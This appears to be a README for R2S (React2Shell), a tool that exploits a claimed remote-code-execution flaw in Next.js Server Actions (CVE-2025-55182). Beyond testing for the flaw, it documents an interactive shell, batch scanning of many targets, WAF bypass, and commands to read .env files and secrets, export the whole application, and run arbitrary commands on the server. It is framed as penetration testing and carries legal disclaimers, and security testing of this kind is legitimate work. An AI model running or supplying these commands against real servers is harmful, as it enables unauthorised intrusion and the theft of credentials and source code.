
Advanced security testing tool for CVE-2025-55182 vulnerability assessment in Next.js applications. Features interactive shell, batch scanning, WAF bypass, and comprehensive reporting.
Advanced exploitation testing tool for CVE-2025-55182 vulnerability assessment
Features • Installation • Usage • Testing Environment • Legal
R2S (React2Shell) is a security testing tool designed to help security researchers, developers, and penetration testers assess whether their Next.js applications are vulnerable to CVE-2025-55182.
CVE-2025-55182 is a critical vulnerability affecting Next.js Server Actions in certain versions (e.g., 16.0.5). This vulnerability allows attackers to execute arbitrary commands on the server through improperly secured Server Actions, leading to Remote Code Execution (RCE).
R2S helps you check if your application has this problem so you can fix it before bad actors find it.
--windows)⚠️ CRITICAL WARNING: The --windows flag can cause the tool to FAIL to determine vulnerability if used incorrectly.
--windows: Only if you're 100% certain the target server is Windows--windows on a Linux server, commands will fail and the tool may report "not vulnerable" even if the server is vulnerable--windows unless you know the target is WindowsExample:
# ❌ WRONG - Using --windows on a Linux server
r2s -u http://linux-server.com -t --windows
# Result: Commands fail, tool may report "not vulnerable" (FALSE NEGATIVE)
# ✅ CORRECT - Let tool use default Unix/Linux commands
r2s -u http://linux-server.com -t
# Result: Proper detection of vulnerability
IMPORTANT: READ THIS BEFORE USING THIS TOOL
This tool is for LEGITIMATE security testing ONLY
By using this tool, you agree that:
Legal Consequences:
This tool is provided "AS IS" without warranty of any kind
If you're under 18, make sure you have adult supervision and permission before using this tool.
~/.r2s/reports/ with human-readable timestamps~/.r2s/history~/.r2s/logs/audit.logClone the repository:
git clone https://github.com/zamdevio/r2s.git
cd r2s
Install dependencies:
pip install -r requirements.txt
Build the standalone binary:
./build.sh
Install to system (optional):
sudo cp dist/r2s /usr/local/bin/
sudo chmod +x /usr/local/bin/r2s
Clean build artifacts (optional):
# Remove build/, dist/, __pycache__/, and other build files
./build.sh cleanup
# Install dependencies
pip install -r requirements.txt
# Run directly
python3 -m react2shell.main --help
# Or after building:
r2s --help
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Important: Don't use --windows unless you're certain the target is Windows. Using --windows on a Linux server will cause false negatives (tool may report "not vulnerable" even if the server is vulnerable).
We provide a safe testing environment at https://r2s-arena.fly.dev:
# Test the online demo
r2s -u https://r2s-arena.fly.dev -t
See nextjs/README.md for instructions on running the vulnerable app locally.
Most Common Commands:
r2s -u URL -t - Test for vulnerability (most common)r2s -u URL --shell - Start interactive shellr2s --targets FILE -t - Batch scan multiple targetsr2s -u URL --system-info - Get system informationr2s -u URL --secrets - Attempt to read secretsr2s -u URL --export-archive - Export entire app as zip⚠️ Remember: Don't use --windows unless target is Windows!
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"